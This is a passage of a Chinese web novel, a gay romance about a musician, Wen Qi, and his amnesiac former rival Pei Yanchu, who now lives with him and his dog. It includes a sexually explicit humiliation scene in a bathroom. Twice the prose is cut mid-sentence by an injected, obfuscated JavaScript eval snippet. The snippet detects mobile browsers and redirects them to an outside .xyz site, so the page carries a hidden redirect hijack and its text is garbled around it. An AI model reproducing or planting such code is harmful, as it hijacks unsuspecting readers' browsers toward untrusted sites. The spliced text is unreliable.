闻祈又好气又好笑,栗色发丝湿哒哒地滴水,用厚实干燥的浴巾裹着小狗,抱到了洗漱台上。 元宝胆子小,只能用最小档的吹风机。 温暖的热风呼呼运作,闻祈给元宝吹着毛发,裴砚初仍然帮着忙按住小狗,两人的衣服都近乎半湿,狼狈不堪,动作之间,肩膀偶尔撞在一起。 裴砚初偏头看来,忍不住问:“你以前怎么给元宝洗的?” “还能怎么洗?一人一狗关浴室里洗,跟打水仗一样,经常洗到一半,元宝就要跳出盆。”闻祈无奈苦笑,“最后变成两只落汤狗。” 又看一眼裴砚初,唇角微微掀起弧度,道:“现在变成三只了。” 裴砚初注视着他,眸底情愫柔和,也很轻地笑了起来。 终于给小狗吹干毛发后,浴室的门一开,元宝刚被放下来,四只小短腿火速划动逃离,嗖的一下就不见了狗影。 闻祈的视线看向裴砚初额角贴着的一块纱布敷贴,问:“你的伤口沾到水了吗?“ 裴砚初不在意地道:“伤口沾到水也没事,本来就快好了。” “那好,你在这儿洗吧,我回去用卧室的浴室——啊啾!” 话没说完,闻祈先打了个喷嚏。 裴砚初主动道:“你在这儿先洗吧,你身上都是冷的,别在走廊上吹着风感冒了。” 刚站在一起,闻祈就感觉到了,同样是半湿的衣服贴在身上,不同于他感觉到的透寒凉意,裴砚初像个移动的燃烧火炉,散发着滚烫的热量。 闻祈点头应好,侧过身去,细长的手指抓住衣摆,干脆利落地从下至上掀起了单薄的衣服。 细窄的腰线似柳枝柔韧舒展,冷白的背脊光洁如玉,漂亮的蝴蝶骨轻轻颤动,振翅欲飞。 闻祈把上衣脱了下来,刚转过来,就看见裴砚初呆呆的,傻愣着杵在原地一样望着他。 怎么不走? 闻祈正准备出言赶人,面前的裴砚初一副喝醉了似的眩晕模样,嗓音也打着飘:“粉、粉的……你怎么是粉的?” 顺着裴砚初直勾勾的视线,闻祈低头看了下自己。 闻祈:…… 他本不觉得有什么,被裴砚初一强调,后知后觉有些微不自在的窘迫:“粉的怎么了?什么颜色不都很正常吗?” “正常、正常。”裴砚初颠三倒四地喃喃,“粉的好,粉的好看……” 闻祈面色古怪,道:“裴砚初,你……流鼻血了。” 裴砚初怔愣了下,伸手一摸,指腹沾着一点殷红。 他捂着自己的鼻子,往后退两步,语速飞快:“你先洗澡吧我先出去了!” 哐的一声,浴室门再度重重关上,高大的背影狼狈逃蹿,和小狗刚才逃离的速度相比有过之无不及。 闻祈的眼眸轻轻一弯,笑出了声。 裴砚初心跳如鼓,浑身燥热,站外面听到浴室里水声响起,更是口干舌燥,罚站似又想起闻祈在里面洗澡没拿睡衣,回了主卧帮他拿换的衣物。 等再度回来,浴室的水声正好停了,里面传来闻祈的声音:“裴砚初?” 裴砚初主动道:“是要拿睡衣吗?我帮你拿过来了。” 里面轻嗯一声:“谢谢。” 锁舌咔嚓弹响,浴室的门开了一条窄窄的缝,氤氲的潮热雾气随着香气飘逸而出。 裴砚初转头看向别处,把叠好的衣物 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闻祈夸了句,上了床,掀起一角被子,小狗立刻钻了进来。 主卧可以听到客厅浴室的动静,水声哗啦,迟迟不停歇,持续的时间甚至有些长。 闻祈的手指修长纤细,闲闲地挠着小狗下巴,漂亮的眼眸微眯,露出几分若有所思。 小狗被挠得舒服哼唧,又凑过来舔他,把闻祈的手指舔得湿淋淋的,反射一层水光。 闻祈回过神来,唇角含着笑意,不带什么惩罚意,指尖轻点了下小狗脑袋。 壁灯光线柔和,床铺如云绵软,挨着自己的小狗暖洋洋的,隔壁传来的水声若有似无,叫人慢慢地放松下来。 闻祈今天跑了不少地方,回来又为了小狗洗澡折腾了一番,很快就觉得困了,泛着粉的眼尾溢出星星点点的晶亮泪光,缓慢地闭上眼睫。 沉入睡梦前,脑海里闪过最后一个念头。 裴砚初怎么还没结束,到底还要洗多久…… 到了半夜,闻祈是被胸口的一片黏腻湿意给惊醒的。 睁开眼,小狗趴他身上睡得可香,打着小呼噜,口水淌了他一胸膛。 闻祈沉默两秒,拎起小狗,放到了旁边的枕头上。 他起了床,在衣柜里找出新的一件上衣换上,准备将弄脏的睡衣送到外面的洗衣机里去。 刚出门,却看到浴室的灯亮着,房门半掩,传来一点动静。 裴砚初也醒着? 闻祈有几分诧异,缓步走了过去,却见裴砚初站在盥洗池前正在用小盆洗着什么。 裴砚初神色蕴着懊恼,低着头,耳根透红,骨节分明的手指抓着一块灰色布料,在清水下搓洗着。 生理性别同为男,闻祈对这副场景再了解不过。 裴砚初一转头,看到了门口的闻祈,赶紧关了水,问:“我吵醒你了吗?” “没有,我是因为元宝趴我身上流口水醒的。” 闻祈故意反问:“你怎么也没睡?” 裴砚初愣了下,面露窘迫,一阵赤红的浪潮从颈项迅速蔓延到了脸上。 他面红耳赤,视线躲闪,磕磕巴巴:“就、突然醒了……” 闻祈又问:“做春梦了?” 裴砚初没想到他会这么问,脑袋轰的一声,炸成一片空白,傻愣愣的,说是也不是,说不是也不是。 闻祈走近几步,随手把脏睡衣扔在台面上,眉尖微挑,问:“怎么不说话?” 裴砚初反射性地后退一步,发现自己露了怯,又强行顿住,身形僵直地站在那儿。 闻祈又问:“梦见什么了?男的,还是女的?” 裴砚初抿紧了薄唇,没吭声。 闻祈问:“哑巴了?” 裴砚初偏过头去,像是承受不住了般,备感屈辱。 他声音闷闷的:“我……忘了。” 闻祈恍然:“原来是真的做春梦了啊。” 裴砚初这才发现自己说漏了嘴,神色闪过懊恼。 以前怎么没发现裴砚初这么有趣? 闻祈明知故问:“你都失忆了,还记得怎么打吗?” 裴砚初没明白过来:“打什么?” 闻祈的视线下落。 裴砚初的某个地方支楞着,就没下去过,深灰色的睡裤显得形状明显。 发现被注视的时候,好似变得更加激动振奋。 倒是让闻祈对白天看到的尺寸码有了更深一步的了解。 “我、我……” 裴砚初面色涨红,没想到闻祈会说这些。 就连说这种话的时候,闻祈那张脸的神情依旧是冷而淡的,似清风、似皎洁的明月,让人轻易地联想到世上所有美好而静谧的事物,和肮脏的欲.望不该沾染上一丝一毫的关系。 闻祈问:“不会?” 裴砚初低声承认:“……会的。” 闻祈道:“过来。” 裴砚初的手指蜷紧,握成全,低着头,一步一步,慢慢地站到了闻祈的面前。 闻祈漫不经心地问:“最后问一次,昨晚梦到什么了?” 裴砚初的神情挣扎着:“我……能不能不说?我真的忘了。” 语气低声下气,透着祈求,似想保留着最后一点尊严。 “可以不回答。”闻祈懒散地问,“不过不听话的坏狗,就应该接受惩罚。” 裴砚初的呼吸都重起来,抬眸望向面前的闻祈,分不清是因为他平静面容下的羞辱语气,还是因为过近距离带来的兴奋,裤子绷得胀疼。 裴砚初问:“什么惩罚?” 闻祈打量着他,倏地笑了,轻声道:“不是喜欢被我罚跪吗?” 他微微昂起下颌,右耳上的银珠耳钉闪动冷光,以居高临下的视线,道:“跪下去,当着我的面,打出来。听懂了吗?” 裴砚初闭了眼,几句话,足以让他神思眩晕,头皮过电般发麻。 要死了。 还没开始,就已经……爽得要死了。 闻祈抱着手臂,语气很冷:“还等什么?” 裴砚初在他面前,缓慢地跪了下去。 光洁冰冷的瓷砖上,男人上身挺直,结实的大腿微微分开,轻薄的棉质布料将中间的形状绷得更加明显,两只手握成了拳,垂在地面上,却没有继续动作。 他低着头,覆着一片赤红的胸口起起伏伏,似在努力平复着呼吸。 闻祈好整以暇地等待着,催:“脱啊。” 裴砚初闭了闭眼,手腕抬起一点距离,又溃败似的放了回去,喉结轻滚一下,声线低沉喑哑,求:“……小祈,别这么对我。” 语气隐忍卑微,似痛苦耻辱到了极点。 闻祈低眸注视着他了一会儿,声线缓和下来,道:“行了,起来。今天是我过分了,我向你道歉,你回去休息吧。” 裴砚初抬起视线,小心翼翼地问:“那你说的惩罚……” “我还没恶趣味到这种地步。”闻祈心平气和道,“你要是在这儿,真的敢对着我打出来,明天就会被我扫地出门。” 裴砚初愣住了:“那你刚刚是……” “谁让你昨天又是流鼻血,又是用了那么久的浴室。”闻祈的语气嘲弄,“弄的时间还挺久,嗯?” 裴砚初还跪在冰冷的地面上,背脊有一股酥麻电流蔓延而上,传至四肢百骸,叫浑身都燥热滚烫。 昨天晚上,小祈在隔壁知道他在浴室里…… “昨天最好是个巧合,是个意外。不然就算你现在失忆了,不记得我们之前的过节……” 闻祈俯了身,轻拍了拍裴砚初的脸,含着深意道:“对我有了什么不该有的心思——” 裴砚初战战兢兢:“会怎样?” 闻祈笑道:“你可以试试。” 他换了一件新睡衣,领口大敞,浑然不觉自己因为倾身的动作,平坦的胸口上,雪地粉梅的艳丽光景堪称一览无余。 裴砚初的视线直勾勾地盯着,感觉鼻尖又有些发热,喉结微动,声音发虚,磕巴道:“……不、不敢。” 12.穿袜 闻祈将换下来的睡衣塞进洗衣机里,回房继续睡觉。 因为有元宝在,主卧的门留了个缝。 他睡得不安稳,甚至能感知到小狗跳下去的动静,哒哒哒地出了房间,不知道是去喝水还是去上厕所。 没多久,小狗又哒哒哒地回来了,蹦两次没蹦上床,第三次上来了,往他旁边拱拱挤挤,隔一会儿又站起来,似不满意位置,踩着柔软的床绕一大圈,重新挑了个地儿躺下。 一晚上小狗这么来地进出、上下折腾,闻祈还被舔醒了两次,被作弄得实在没脾气,感觉自己根本没睡着。 好不容易睡熟了一会儿,设定了时间的自动窗帘响起滴的一声,向两边徐徐打开,柔和的晨光透过窗户洒落房间。 小狗兴奋地站起来,中气十足地“嗷!”一声。 闻祈拿枕头盖脸,困得眼睛都睁不开,伸手往外推着小狗脑袋,道:“元宝,自己玩……” 小狗蹭来蹭去,哼唧撒娇,想叫他起来陪自己玩。 闻祈闭着眼,含糊不清地喃喃:“一只成熟的小狗,就应该学会自己遛自己……” 小狗暂停动作,思考两秒,仗着自己是小狗听不懂,理直气壮地继续拱他。 一声低笑响起。 热情提供叫醒服务的毛茸茸小狗身体一轻,被宽大的手掌抱了起来。 裴砚初单手抱狗,俯身拿起了床头柜上的遥控器,按下了自动窗帘的关闭键。 滑轨运作的细微动静响起,房间的窗帘徐徐收拢,明亮的光线一点一点地收窄。 闻祈听到动静,长睫轻颤,勉强睁开眼。 视线里,裴砚初伸了只温热的手掌落在他的头发上,揉了揉,含着笑意道:“睡吧。” 光线逐渐暗下,高大的身影抱着小狗朝门外走去,主卧的房门轻轻关响。 闻祈紧蹙的眉尖舒展,阖上了眼,再次跌入睡梦。 恍惚之间,仿佛又回到了高中。 校医务室里,窗外是一株百年银杏树,风吹簌簌,飘落灿灿金叶。 金色的梦里,他沉睡着躺在病床上,旁边拉着白色隔床帘子,狭小、封闭而安静。 外面传来渐近的脚步声,而后是一个少年的声音,礼貌道:“老师好,今天上午是不是有个同学来医务室了?老师让我过来问问情况。” “你问的那个同学是不是叫闻祈?他发烧了,接近三十九度,我让他通知家长去医院,他不肯,刚在这儿吃了药,睡着了。” 老师又道:“他估计还要好一会儿才醒。同学你有时间帮我盯会儿吗?我去食堂打个饭,很快就回来。” “好,老师您去食堂吧。” 脚步声逐渐离远,医务室的门嘎吱一声,晃悠悠地关上。 床边垂落着素白的布帘,被少年骨节分明的手掌轻轻拉开。 他闭目躺在病床上,额头汗涔涔的,几缕碎发黏腻地沾在异红的颊边,手腕似灌铅般沉重,抬不起来。 旁边的凳子被拉开,来人坐在了他的身边。 他听到了动静,想睁眼看是谁,却有一抹冰冷的湿意贴上额头,压下几分燥热。 湿巾轻缓地擦过汗湿的额头,带来一丝清凉。 他无意识地将潮热的脸颊贴了上去,蹭了下。 似是对方手腕的位置。 少年的动作僵硬了一瞬,很快放松了下来,伸出手,揉了揉他的头发,声音很低,哄着说了句:“睡吧。” 语气熟悉,和刚才的记忆近乎重叠,带着让人安心的魔力。 闻祈做了好几个梦中梦。 光怪陆离,碎片似的毫无关联。 一会儿是许千钧笑他:“小祈,楼下月考成绩榜上你的照片又被人偷啦!” 一会儿是铺在桌子上的合同,母亲语气轻柔地对他道:“小祈,你这么有天赋,帮帮妈妈,好吗?妈妈需要你。” 一会儿是班长带头要每个同学给过生日的裴砚初送礼物。 谄媚讨好的意味太明显,他不想送,但同学一场,不想表现得太出格太扎眼,就随手带了一杯杨枝甘露,放在了裴砚初堆满礼物的桌子上。 但裴砚初芒果过敏,为什么又要喝呢? 闻祈慢慢地睁开了眼,恍然发现自己已经离开高中很久了,那些曾经藏在时间里遗忘了的疑问,依然没有得到解答。 满目昏暗,只有窗帘的边缘角落泄出一线白光,提醒着是白天。 他在床头上摸到手机,点开一看,已经是下午两点了。 自从把元宝带回家,他已经很久没有一觉睡到这个点了。 ……元宝呢? 闻祈下了床,打开门,被公寓里过于明亮的采光刺激得微微虚眼。 逐渐定焦的视线里,客厅里嵌入式电视正无声播放着《布鲁伊》狗狗动画片。 裴砚初在地板上单手做俯卧撑,小狗坐在他的背上,黑玻璃眼珠盯着电视里动画片,目不转睛,尾巴时不时晃一下。 闻祈的目光落在裴砚初的身上。 裴砚初一只手撑地,一只手背在身后,整个身体呈笔直一条线,上半身光.裸,只穿一条宽松的运动裤,小麦色的背部肌肉匀称,线条紧实且轻微颤动着,渗着亮晶晶的细密汗珠。 闻祈忽地想起上次裴砚初嚷着要买女仆装,说自己和宣传图里的男网红身材很像。 但其实只有体格有一点相似,网红男博主明显是蛋白粉堆出来的肌肉,裴砚初的身材匀称,肌肉结实但不夸张,是通过长期的锻炼,实打实练出来的成果。 真要比起来,还是裴砚初的肌肉练得更让人觉得赏心悦目。 小狗的耳尖微动,似有所感地转过来,看到闻祈的一瞬间,黑葡萄似的两眼激动亮光:“嗷汪!” 元宝两脚猛地一蹬,跳下裴砚初的背,像个小炮弹向闻祈飞速冲了过去。 “嗷嗷嗷!” 裴砚初稳着呼吸,正往下沉身子,被元宝蹬了两脚,一个错力,整个人直接趴地上去了:“靠!元宝你……” 一声轻笑响起,似风铃轻摇,打断了话语。 裴砚初有点错愕地抬起视线,一双玉石般的脚先出现在视线里。 睡裤垂落,露出一小截纤细瘦削的脚踝,单薄的足掌站在原木色的地板上,衬得愈发白皙,流转着一层月华般的朦胧光晕。 往上看去,是闻祈修长的身段,而后是春日海棠般的明艳眉眼,因为刚睡醒,透着一股慵懒,说不出的惑人。 闻祈俯了身,将小狗抱在怀里,见裴砚初傻呆呆地趴地上盯着他,懒洋洋地踢了下裴砚初的肩膀,问:“地板有胶水,黏住了?” 裴砚初伸手撑了下,盘腿坐了起来,仰头看他,问:“饿了没,厨房里煮了苹果燕麦粥,要吃吗?” 闻祈点了下头。 裴砚初道:“那你等我十分钟,我去冲个澡。” 闻祈道:“我还没有五体不勤到这地步,可以自己盛。” 裴砚初利落点头,道:“好。” 闻祈摸了两把小狗放了下来,去厨房盛了一碗冒着热气的燕麦粥,端回餐桌前。 浴室的水声很快结束,裴砚初带着一身清爽水汽出来,换了身简单常服。 他端了杯水到餐厅,拉开闻祈对面的凳子刚坐下,小狗就哒哒哒地过来,刨了刨裴砚初的裤腿。 裴砚初心领神会,把小狗抱在了自己腿上,小狗支起身,用两只前爪扒着餐桌边,对着闻祈摇尾巴。 “元宝这是拿我当椅子,陪你吃饭?”裴砚初饶有兴致道,“还挺聪明。” 闻祈拿银勺喝着粥,唇角掀起弧度,道:“元宝本来就聪明,能听懂很多指令,就是有时候会装自己听不懂。” 裴砚初提议:“不过小狗站着对关节不好,要不给元宝买个婴儿座椅吧?它也能在旁边陪着你吃。” 以前元宝是跳到旁边的椅子上,趴着陪他,闻祈想了想,觉得买个婴儿座椅也不错,点头:“可以。” 裴砚初问:“你养了元宝多久了?” 一提起小狗,闻祈的明眸染上浅淡的笑意,语气也变得温柔,道:“大学毕业后开始养的,有两年了。刚把元宝接回来的时候,它可粘人了,我走哪儿它跟哪儿,腿又短,跟不上我就着急地叫。” 裴砚初低头看小狗,忍不住道:“现在好像也没什么差别吧?一样的腿短。” 元宝听懂了,生气地嗷一声。 裴砚初故意问:“不是吗?” 元宝忿忿:“嗷嗷嗷!” 裴砚初敷衍:“嗯嗯嗯是是是,你的腿一点都不短,你是世上走路最快的小狗。” 一人一狗正经对话,闻祈笑了会儿,问:“你早上遛过元宝了?” 裴砚初点头:“我看你没睡醒,就带它出门了,元宝自己认路,带我去了个小公园。公园里有挺多女孩子认出元宝,还和它打招呼。” 闻祈道:“元宝喜欢长得好看的小姐姐,一遇到就要过去打招呼,拽都拽不住,仗着自己可爱,认了很多姐姐和姨姨。” 裴砚初笑道:“发现了,元宝确实很受欢迎,就是那群姐姐姨姨过来问今天怎么是我来遛元宝,看我的眼神像看偷狗的贼。” 闻祈感兴趣地问:“那你怎么说的?” 裴砚初坦然道:“说实话啊,你昨晚累坏了,今早上起不来,所以只能我来遛元宝。” 闻祈喝粥的动作一顿,用一种难以言喻的目光看他:“你……” 裴砚初无辜问:“怎么了?” 闻祈轻叹一口气:“没什么。” 不过短短两天,就生出了一种习以为常的麻木感。 总归都是要被误会的,被一个人误会是误会,被一群人误会……好像也没什么差别。 闻祈又问:“她们还说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋知聿的声音不急不缓:“这段时间公司有危机,本来就有一些艺人想跑,要是他们知道小祈你就这么解约了,肯定会不满,我们这边也很难办。” 闻祈没了胃口,将银勺丢进碗里,恹恹地垂下眼睫,问:“你想说什么?” 秋日温度寒凉,刚起床还不觉得,闻祈只穿睡衣,又光着脚踩在木地板上,现在觉得有点冷了,抱起了手臂。 通话里的宋知聿道:“你和星乐签约了这么多年,相处得也很愉快,我知道你最近几年状态比较差……” 他长篇大论地说着,摆着大道理,说公司不容易,这些年相处难得,说愿意再给闻祈一段时间调整状态,后面可以重新调整合约的条件,公司愿意让利。 对面的裴砚初放下小狗,起了身,转而向卧室那一边走去。 闻祈没管裴砚初,在椅子上听得放空神游,只觉得厌烦。 绕这么一大圈说话,不累吗? 有意思吗? 却有一阵脚步声在身后接近,停下,而后肩头落下一点重量。 ——是一件外套披在了他的肩上。 厚实,温暖,驱赶着秋日的寒意。 他有点诧异地回头,发现裴砚初站在身旁,手上还拿了一双薄羊毛袜子。 裴砚初半跪了下去,捉着他的右足放在自己的膝盖上。 炽热的手掌圈着纤细的脚踝,在微凉的肌肤上似落下一连串的火星。 裴砚初低着头,俊美的眉眼低垂,鼻梁似山脊高挺,左耳的银珠耳钉闪动微光,握着他的脚,认认真真地,给他套上了薄袜。 动作轻而缓慢,不带一丝冒犯的狎昵意味,自然得就像是刚给他披外套。 闻祈有些恍神,圆贝似的足尖蜷了蜷。 裴砚初又抬起头,看向他,伸手道:“左脚。” 通话里的宋知聿还在说着话,喋喋不休地充当着背景音。 闻祈迟疑着,将左脚试探性地伸了过去。 温暖干燥的手掌再次握住他的足掌,柔软的羊毛面料一寸寸包裹,藏起了雪白的足。 小狗歪着头陪在旁,黑眼珠好奇地眨巴眨巴。 裴砚初低声道:“元宝,来给小祈暖脚。” 小狗听懂了,啪叽一倒,慷慨地贡献自己软乎乎的肚子,热情邀请。 闻祈愣了下,阴霾的心情放了晴,轻轻地笑起来。 笑声打断了通话里的宋知聿,他疑惑问:“小祈,你旁边有人?你有在听我说话吗?” 闻祈终于想起了还有宋知聿的存在,慢吞吞地道:“没听,要不你重新再讲一次吧。” 宋知聿:“……” 13.支票 嘟的一声,通话挂断了。 裴砚初道:“你这个名义上的哥哥,看起来不怎么能沉住气啊。” “他从小被人捧惯了,毕业以后就接手了星乐,习惯仗势压人,听不得有人和他呛声。” 闻祈道:“他直接找我,我还挺惊讶,我还以为他会让经纪人过来搪塞我,看样子是真的怕我不去和宋家见面,居然纡尊降贵来亲自找我了。” 裴砚初沉思:“听起来星乐不肯放你走。” 闻祈半点不意外:“我都装了一年多的状态差,什么都写不出来,甚至失眠焦虑到需要在心理咨询科拿药,他们宁愿把我当吉祥物放着,也不肯和我解约,早猜到他们不会简单地放我走了。” 裴砚初正推敲着怎么自然而然地问心理咨询这事,听完后,愣住了:“装……状态差?” 闻祈轻嗯一声:“提前下载问卷,背了几套题。” 又道:“不然怎么会正好在国际医院碰到你?我在那天约了心理咨询,就顺路过去看你的热闹。” 只是没想到,把人也给带回来了。 裴砚初像在消化这件事,整个人呆呆的,视线直勾勾地盯着他。 闻祈奇怪问:“怎么了?” “没、没怎么。” 裴砚初的声线有点颤,又很快隐藏不见,他的脸上浮现笑意,灿烂到近乎傻气的地步,道:“就觉得,太好了。” 闻祈有点别扭地移开目光。 这傻狗,笑得也太不值钱了。 裴砚初将桌上的碗给收拾了,哼着小调进了厨房,连背影都透着轻松和愉悦。 等他出来了,闻祈正拿着绳结和小狗玩拔河,又道:“我等会儿要进工作室,没什么事的话,不用打扰我。” 裴砚初迅速反应过来——什么写不出歌也是唬公司的。 闻祈犹豫了下,又道:“我房间的桌子上有一台闲置的笔记本,如果你需要的话……可以用。” 裴砚初问:“我用电脑做什么?” 闻祈道:“你们总裁不都是有这种基本技能的吗?随便买只股票基金就暴涨,电脑上点几下,谁家的公司就破产了。说不定你碰到电脑,技能点自动点亮,早点攒到钱,早点还清债。” 裴砚初愣了下,笑了起来,肩膀都在闷闷地抖。 闻祈有些窘迫,勉强撑着镇定,反问:“笑什么,不是这样?” 裴砚初伸手揉了下他的头发,眸底的笑意粼粼闪光,道:“我要是有这么厉害,跟着你回家做什么?不如进网吧包机,花个三天三夜夺回属于我的一切?” 闻祈想了想,好像也是,又反应过来,下意识打开他的手,道:“别对我动手动脚的。” 裴砚初举起双手,一副投降的无辜模样。 闻祈只觉得浑身不自在,特别是裴砚初碰过的头发,好似在轻微地发烫,生出一阵电流般的麻痒,往全身流淌。 “不过家务活确实不多,今早上我顺路取了快递,厨房里坏掉的水龙头也给修好了。”裴砚初又主动道,“你要是不介意,电脑借我,我看看剧,电视留给元宝看动画片。” 闻祈点头:“好,你用吧。” 他把手里破破烂烂的绳结递给裴砚初,回了工作室,拿出手机,想像平时那样开启免打扰模式。 就要按下的前一秒,手机顶端自动推送了一条当地新闻:【……xx公司被爆原材料造假丑闻,今日开盘,股价下跌……】 闻祈的指尖空悬,觉得推送的这个公司名字有几分耳熟。 像是前不久才听过。 他点开推送的新闻,具体的报道条跳了出来。 闻祈匆匆扫了一眼,微微一惊。 这好像是在餐厅碰到的那什么吴总的公司,当时自夸得那么厉害,这才过去多久,公司股价就不行了? 闻祈的脑海里闪过一个身影,自己又觉得不太可能。 这两天裴狗就在他眼皮底下,还能做什么? 闻祈很快将念头抛之脑后,不再多想。 手机退出了新闻报道,转而开启了免打扰模式。 一下午悄然过去,没有小狗嗷嗷扒门,安静得仿若落针可闻。 闻祈调完音轨,出房间接水,看到裴砚初坐沙发上,戴着头戴式耳机,神色冷肃,正面对着笔记本电脑思考着什么,小狗在地板上抱着个玩偶滚来滚去,自己玩得正开心。 他走过去一看,神色变得微微怪异。 屏幕上正播放着短剧,顶端流动的名字很是瞩目。 《顶级豪门太子爷,失忆后成了我的金丝雀》第3集。 裴砚初察觉阴影落下,按了暂停键,取下耳机。 闻祈问:“你在看什么?” 裴砚初道:“我朋友给我推荐的,说剧情和我的境遇挺像,听说这短剧今天下午刚出三集就是几十万点赞,爆火。” 闻祈满头雾水:“和你的境遇很像?” 裴砚初感慨道:“男一有了未婚夫,还把男二当金丝雀包养,我一看,这不是妥妥我们的翻版吗?我赶紧来学习一下,说不定以后有相似的情景,我能直接用上台词呢。剧情刚演到男一的麻麻上门来,甩支票在男二的脸上,让他识趣点退出,不要破坏男一和未婚夫的家庭。” 他又看向闻祈,问:“小祈,你麻麻会不会也给我甩支票让我滚啊?” 语气还挺期待。 这什么跟什么? 闻祈一阵头痛,俯了身,靠在裴砚初的身侧,敲了下键盘。 电脑屏幕退出视频,跳出介绍页面。 【导演:xx】 【主演:xx xx】 …… 【编剧:许水】 裴砚初也看到了,轻咦一声。 闻祈的唇角抽动一下,转而给许千钧打电话。 许千钧很快接起来,声音莫名透出一股心虚劲儿:“嘿嘿,小祈你找我啊?” 闻祈开门见山:“水水,你把我和裴砚初写进短剧了?” “哎呀小祈你不是不看短剧的吗?这都发现了,说明是真的火了。” 许千钧忸怩道:“经纪人临时让我去救场,小主演耍大牌,导演一生气,让他别演了,临时叫我过去重写剧本。我刚从你那儿回来,这不就,忍不住借鉴了一丢丢……” 闻祈问:“一丢丢?” “小祈你放心好了,就只有开头男一男二的重逢部分有一点点相似,后面的剧情都是我胡编乱造,肯定和你们扯不上关系!” 许千钧道:“要是小祈你介意,我退出不写了,反正都是写一集拿一集的钱,以前都是被剧组开,我这次主动被开也挺解气。” “退什么退。” 闻祈心软了,也知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14010304|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道许千钧以前费尽心血写的本子一直在被胡改,没热度所以不受重视,道:“你继续写。我就是来问问,这次写的剧这么火,开心吗?” “开心啊。那必须得开心!” 见闻祈没生气,许千钧振奋起来:“我刚改了艺名,这部剧就爆火了,大师果然没骗我!小祈你戴着开过光的耳钉,肯定也能转运!” 闻祈笑了笑:“好。” 许千钧又急匆匆道:“小祈,我不和你说了啊。短剧要紧着时间抓流量,我还要写下一个剧情爆点。” “去吧。”闻祈道,“注意休息。” “嗯嗯。” 通话挂断,裴砚初道:“你怎么不帮我问问男二到底有没有接支票?” 闻祈气笑了,轻踢了下裴砚初的腿,道:“少在这儿研究有的没的。” 裴砚初认真道:“我这是未雨绸缪,万一阿姨看我现在身无分文,特别好拿捏,为了你的名声着想,真要给我支票,把我打发走呢?” 闻祈顿了下,鬼使神差问:“那你会接支票吗?” “那当然不接啊!” 裴砚初振振有词。 闻祈的唇角轻掀,又听到裴砚初的下一句:“万一阿姨只给支票,不给无偿赠与协议怎么办?那钱不是随随便便就被要回去了吗?” 裴砚初又道:“还有,偶然所得要交百分之二十的税,这笔税钱谁出啊?得问清楚了才行。” 许是被裴砚初的傻狗思维带进去了,闻祈生出几分较真的想法,问:“那要是我妈写了无偿赠与协议,又愿意出偶然所得税的税钱呢?” 这条件,听起来够丰厚了吧? “阿姨这么大方啊……” 裴砚初露出一番思索的模样,深邃的眉眼舒展,露出很轻的笑意,道:“那我也不答应。” 闻祈的眉尖微挑:“为什么?” 裴砚初看他一眼,含糊地道:“被你包养……我又不吃亏。” 闻祈问:“天天在这儿给我洗衣服做饭陪元宝玩,也不觉得吃亏?” 裴砚初的耳尖微红,认真道:“你长这么好看,给人看就应该收费,我呆了两天,看你这么多次,已经赚到一张支票钱了,做一点家务而已,当然不亏。” 真男人,就应该跪着听老婆的话,哄老婆开心! 在外面,就该努力工作,招财进宝,在家里,床上床下都不能让老婆累到一星半点! 区区家务,不过是老婆爱的考验罢了。 闻祈不知他在想什么,轻笑着问:“照你这么说,听起来我好像更吃亏?” “对啊。”裴砚初理所当然道,“所以他们肯定想把我这个占大便宜的人往外赶,把你抢走。” “哪来的他们……” 手机震动,屏幕弹出两条新消息,打断了闻祈的话语。 他低头一看。 闻若婵:【我听知聿说,你和别的朋友现在住在一起。】 闻若婵:【是裴家的那个孩子吧,他最近的事我也知道,遭遇是很可怜,但小祈你已经答应宋家那边要见面了,传出去会不会不太好?】 闻若婵:【妈妈没有别的意思,只是想提醒你一句。】 发来的时间太巧妙,让闻祈的心头掠过一丝古怪。 怎么回事,下一场剧情不会真是他妈给裴狗的脸上甩支票,让他滚吧? 14.牵手 面前的裴砚初注意到他僵硬的表情,问:“怎么了?” “没什么。” 闻祈含糊地回,随手把水杯放在扶手边,也坐在了沙发上,低头打字回复。 【是裴砚初,他只是暂住在这儿。】 旁边的裴砚初却起了身,过来拿走了闻祈的玻璃杯。 闻祈没管他,盯着屏幕,字句斟酌,谨慎地敲着键盘回信息。 几句对话,眉尖越来越紧,直到面前出现一杯盛着清水的水杯。 闻祈放下手机,道了声谢,接过裴砚初递来的水杯。 他喝了一口,才慢吞吞地掀起长睫,望向面前的人,道:“我妈说明天她会来公寓。” “啊,不会是为了我吧?” 裴砚初露出一个受宠若惊、堪称腼腆的笑:“阿姨会给我递支票吗?到时候我的台词是说''我不是为了钱和小祈在一起的'',还是说''我们的感情不是用金钱可以羞辱的''?” 闻祈想象了下那个画面,被尬得头皮发麻,道:“你全程闭嘴,当个背景板就行。” 裴砚初语气遗憾:“就这样啊?” 闻祈沉默两秒,道:“她明天是过来把我的合同还给我。” 裴砚初问:“你的合同不在自己手上吗?” 闻祈的眸色微微黯然,道:“当初签订完合同的时候,我十六岁,我妈以我还是未成年的理由帮我把合同收起来了。我成年以后想要回自己的合同,但妈妈一直不愿意给我。” 裴砚初恍然大悟:“懂了,你的合同好比小孩的压岁钱,拿到手的时候摸了一下,就再也没见过?” 闻祈失落的情绪被打断一空,竟然生出几分哭笑不得的滑稽感,点头:“你要是这么说,也行。” 裴砚初道:“所以在解约这件事上,你妈是站在你这边的?” 闻祈挑眉,语气染上几分兴趣:“怎么说?” “下午的时候,我用电脑查了下,星乐被爆用底层小明星情色贿赂的丑闻,正在接受调查,旗下的艺人为了趁早撇开关系,都在研究着怎么跳槽。” 